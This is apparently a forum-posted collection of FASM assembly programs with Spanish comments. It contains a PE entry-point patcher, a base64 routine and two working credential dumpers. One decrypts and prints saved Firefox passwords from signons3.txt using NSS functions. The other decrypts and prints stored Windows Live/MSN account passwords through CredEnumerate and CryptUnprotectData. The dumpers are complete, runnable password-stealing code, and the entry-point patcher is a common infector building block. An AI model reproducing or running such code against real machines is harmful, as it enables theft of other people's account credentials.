include 'win32ax.inc'
INVALID_FILE_SIZE = 0xffffffff
.code
start:
stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
.if eax = 0
invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
.else
invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
.endif
invoke ExitProcess,0
 
 
proc ChangeEntryPoint,Path,NewEP:DWORD
locals
Handle dd ?
Tamaño dd ?
Emezeta dd ?
cantidad dd ?
endl
push ebx
invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle],eax                                     ;Guardamos el handle
invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
cmp eax,INVALID_FILE_SIZE
je .error
mov [Tamaño], eax
invoke  GlobalAlloc, GPTR, eax
mov [Emezeta], eax
invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
cmp eax,TRUE
jne .error
invoke CloseHandle,[Handle]     ;Cerramos el handle
cmp eax,NULL
je .error
 
mov ebx,[Emezeta]
cmp word[ebx],"MZ"
jne .error
 
add ebx,dword[ebx+03ch]
cmp word[ebx],"PE"
jne .error
 
xor eax,eax
mov eax,[NewEP]
mov dword[ebx+28h],eax      ;Cambiamos el EP
 
invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
cmp eax,INVALID_HANDLE_VALUE
je .error
               mov [Handle], eax
 
                ;Escibimos el archivo
                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
 
                ; "Cerramos" el archivo
                invoke CloseHandle,[Handle]
 
cmp eax,NULL
je .error
mov eax,1
jmp .salir
.error:
xor eax,eax
.salir:
pop ebx
ret
endp
.end start

format pe console
entry start
include 'win32ax.inc'
sPath equ dword[ebx+4]
Espacio equ 13,10
.data
 
struct TSECItem
    SECItemType     dd ?
    SECItemData     dd ?
    SECItemLen      dd ?
    ends
    url dd ?
    valor dd ?
 
lvLibs0 dd ?
Logo db '         =====================================================',13,10
     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
     db '         =====================================================',13,10,0
 
URL dd ?
Campo dd ?
tsec TSECItem
tSecDec  TSECItem
lvLibs7 dd ?
lKeySlot dd ?
P dd ?
bUsados    dd ?
hFile dd ?
tamAr dd ?
IB dd ?
sFFPath  rb MAX_PATH+1
sRet rb 260
sRet2 rb 260
comp dd ?
.code
start:
invoke system,"color 03"
invoke printf,"%s",Logo
invoke SHGetSpecialFolderLocation,0,26h,ebx
invoke LocalAlloc,40h,MAX_PATH+1
mov dword[ebx+4] ,eax
invoke SHGetPathFromIDList,dword[ebx],sPath
invoke lstrcat,sPath,"\Mozilla Firefox\"
 
 
stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
stdcall Cargar,dword[ebx+4],"sqlite3.dll"
stdcall Cargar,dword[ebx+4],"nspr4.dll"
stdcall Cargar,dword[ebx+4],"plc4.dll"
stdcall Cargar,dword[ebx+4],"plds4.dll"
stdcall Cargar,dword[ebx+4],"nssutil3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
 
 
;"nss3.dll"
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,sPath, "nss3.dll",eax
invoke LoadLibrary,[P]
mov [lvLibs7],eax
invoke LocalFree,[P]
;1A
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
 
invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
 
stdcall Zerar,sFFPath,MAX_PATH
 
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
invoke lstrcat,sFFPath,sRet
invoke lstrcat,sFFPath,"\signons3.txt"
 
invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
mov [hFile], eax
invoke  GetFileSize, eax, 0
mov [tamAr], eax
invoke  GlobalAlloc, GPTR, eax
mov [IB], eax
invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0
 
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sRet2
invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
invoke lstrcat,sRet2  ,sRet
;lKeySlot
invoke GetProcAddress,[lvLibs7], "NSS_Init"
stdcall eax,sRet2
.if eax = 0
invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
stdcall eax
   mov [lKeySlot],eax
.if eax <> 0
    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
 
    stdcall eax,[lKeySlot],TRUE,0
.if eax = 0
xor edi,edi
mov ebx,[IB]
invoke printf,Espacio
invoke printf,Espacio
.bucle:
 
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],"."
jne .bucle
cmp byte[ebx+1],13
jne .bucle
cmp byte[ebx+2],10
jne .bucle
add ebx,3
.if byte[ebx] <> 0
mov [URL],ebx
.bucle2:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle2
cmp byte[ebx+1],10
jne .bucle2
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,Espacio
invoke printf,Espacio
invoke printf,"WEB: %s",[URL]
invoke printf,Espacio
.campo:
add ebx,2
mov [Campo],ebx
.bucle3:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle3
cmp byte[ebx+1],10
jne .bucle3
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,"Campo: %s",[Campo]
invoke printf,Espacio
add ebx,2
mov [valor],ebx
.bucle4:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle4
cmp byte[ebx+1],10
jne .bucle4
mov byte[ebx],0
mov byte[ebx+1],0
invoke lstrlen,[valor]
mov [Campo],eax
   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
stdcall eax,0,  tsec, [valor], [Campo]
   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
 
stdcall eax, tsec,tSecDec, 0
invoke printf,"Datos: %s",[tSecDec.SECItemData]
invoke printf,Espacio
add ebx,2
.if dword[ebx] = "http"
sub ebx,2
jmp .bucle
.else
sub ebx,2
jmp .campo
.endif
.endif
.endif
.endif
.endif
.endif
salir:
invoke ExitProcess,0
 
proc Cargar, sPathL, libreria
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,[sPathL],[libreria] ,eax
invoke LoadLibrary,[P]
invoke LocalFree,[P]
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
 
 proc Zerar,Puntero,Cantidad
 
    push ecx
    push ebx
 
              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:
 
                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp
 
   section '.idata' import data readable writeable
   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
   include 'api/kernel32.inc'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
include 'api/shell32.inc'
section '.reloc' fixups data discardable

include 'win32ax.inc'
.data
base64table db 43 dup (255)
db 62,255,255,255,63,52,53,54,55,56,57,58,59,60,61,255
db 255,255,0,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13
db 14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255
db 255,255,26,27,28,29,30,31,32,33,34,35,36,37,38
db 39,40,41,42,43,44,45,46,47,48,49,50,51
db 132 dup (255)
alphabet db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
clave rb 255
descifrada rb 255
.code
 
start:
invoke lstrlen,"WHKEsGay :O"
stdcall base64encode,"WHKEsGay :O",clave,eax
 
invoke MessageBox,0,clave,clave,0
invoke lstrlen,clave
stdcall base64decode,clave,descifrada,eax
invoke MessageBox,0,descifrada,descifrada,0
invoke ExitProcess,0
proc base64encode source, destination, sourcelen
push edi
push esi
push ebx
mov  esi, [source]
mov  edi, [destination]
@@base64loop:
.if [sourcelen] = 1
mov al, byte[esi]
and eax, 0FFh
mov ecx, 2 ;bytes to output = 2
mov edx, 03D3Dh ;padding = 2 byte
inc esi ;source ptr + 1
dec [sourcelen] ;length - 1
.elseif [sourcelen] = 2
mov ax, word[esi]
and eax, 0FFFFh
mov ecx, 3 ;bytes to output = 3
mov edx, 03Dh ;padding = 1 byte
add esi, 2 ;source ptr + 2
sub [sourcelen], 2 ;length - 2
.else
mov eax, dword [esi]
and eax, 0FFFFFFh
mov ecx, 4 ;bytes to output = 4
xor edx, edx ;padding = 0 byte
add esi, 3 ;source ptr + 3
sub [sourcelen], 3 ;length - 3
.endif
xchg al,ah ; flip eax completely
rol  eax, 16 ; can this be done faster
xchg al,ah ; ??
 
@@:
push  eax
and   eax, 0FC000000h ;get the last 6 high bits
rol   eax, 6 ;rotate them into al
mov   al,  byte[alphabet+eax] ;get encode character
stosb ;write to destination
pop   eax
shl   eax, 6 ;shift right 6 bits
dec   ecx
jnz   @B ;loop
 
cmp   [sourcelen], 0
jnz   @@base64loop ;main loop
 
mov   eax, edx ;add padding and null terminate
stosd ;  "     "    "     "     "
 
pop   ebx
pop   esi
pop   edi
ret
endp
 
 
proc base64decode  source:DWORD, destination:DWORD, sourcelen:DWORD
push   esi
push   edi
push   ebx
 
mov    esi, [source] ; esi <- source
mov    edi, [destination] ; edi <- destination
mov    ecx, [sourcelen]
shr    ecx, 2
cld
 
;-------------[decoding part]---------------
 
@@outer_loop:
push   ecx
mov    ecx, 4
xor    ebx, ebx
lodsd
@@inner_loop:
push   eax
and    eax, 0ffh
mov    al, byte[base64table+eax]
cmp    al, 255
je     @@invalid_char
shl    ebx, 6
or     bl, al
pop    eax
shr    eax, 8
dec    ecx
jnz    @@inner_loop
mov    eax, ebx
shl    eax, 8
xchg   ah, al
ror    eax, 16
xchg   ah, al
stosd
dec    edi
pop    ecx
dec    ecx
jnz    @@outer_loop
xor    eax, eax
jmp    @@decode_done
 
;-------------------------------------------
 
@@invalid_char:
mov    eax, -1
@@decode_done:
pop    ebx
pop    edi
pop    esi
ret
endp
.end start
 

 Espacio equ 13,10
 format pe console
include 'win32ax.inc'
entry start
.data
Logo db '         =====================================================',13,10
     db '         = Humilde Visor de claves de el msn 0.1v by YST     =',13,10
     db '         =====================================================',13,10,0
lCount dd ?
lCred dd ?
struct DATA_BLOB
    cbData                 dd ?
    pbData                 dd ?
ends
tBlobOut   DATA_BLOB
 tBlobIn     DATA_BLOB
 lmem dd ?
 acento rb 3
.code
start:
invoke system,"color 03"
invoke printf,Logo
invoke printf,Espacio
invoke printf,Espacio
invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
.if [lCount] = 0
 
 invoke printf,"%s","Ninguna cuenta encontrada."
jmp salir
.else
mov ebx, [lCred]
.bucle:
dec [lCount]
mov eax, dword[ebx]
mov edi,dword[eax+8]
mov edx,dword[eax+24]
mov esi,dword[eax+28]
 
 mov  [tBlobIn.cbData],edx
     mov  [tBlobIn.pbData] ,esi
   invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
   .if     [tBlobIn.cbData] = 0
   mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"Mail: %s",eax
invoke printf,Espacio
invoke printf,Espacio
   .else
 
   invoke LocalAlloc,GPTR,[tBlobIn.cbData];           
mov [lmem],eax
stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
   invoke printf,"%s","Mail: "
   mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"%s",eax
invoke printf,Espacio
invoke CharToOem,"ñ",acento
invoke printf,"Contrase"
invoke printf ,"%s",acento
invoke printf, "a: %s",[lmem]
invoke printf,Espacio
invoke printf,Espacio
invoke LocalFree,[lmem]
.endif
 
.if [lCount] = 0
.else
add ebx,4
jmp .bucle
.endif
 
.endif
salir:
invoke ExitProcess,0
proc UniToAscii, ascii, unicode
push esi
push edi
  mov esi, [unicode]
  mov edi, [ascii]
  .count:
  .if byte[esi] <> 0
      movsb
      jmp .count
  .endif
  inc esi
  .if byte[esi] = 0
      jmp .exit
  .endif
  jmp .count
  .exit:
 
  mov eax, edi
  add eax, 2
pop edi
pop esi
  ret
endp
   section '.idata' import data readable writeable
   library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
   include 'api/kernel32.inc'
  import crypt32,CryptUnprotectData,"CryptUnprotectData"
 
import advapi32,\
CredEnumerate,'CredEnumerateA'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
 
section '.reloc' fixups data discardable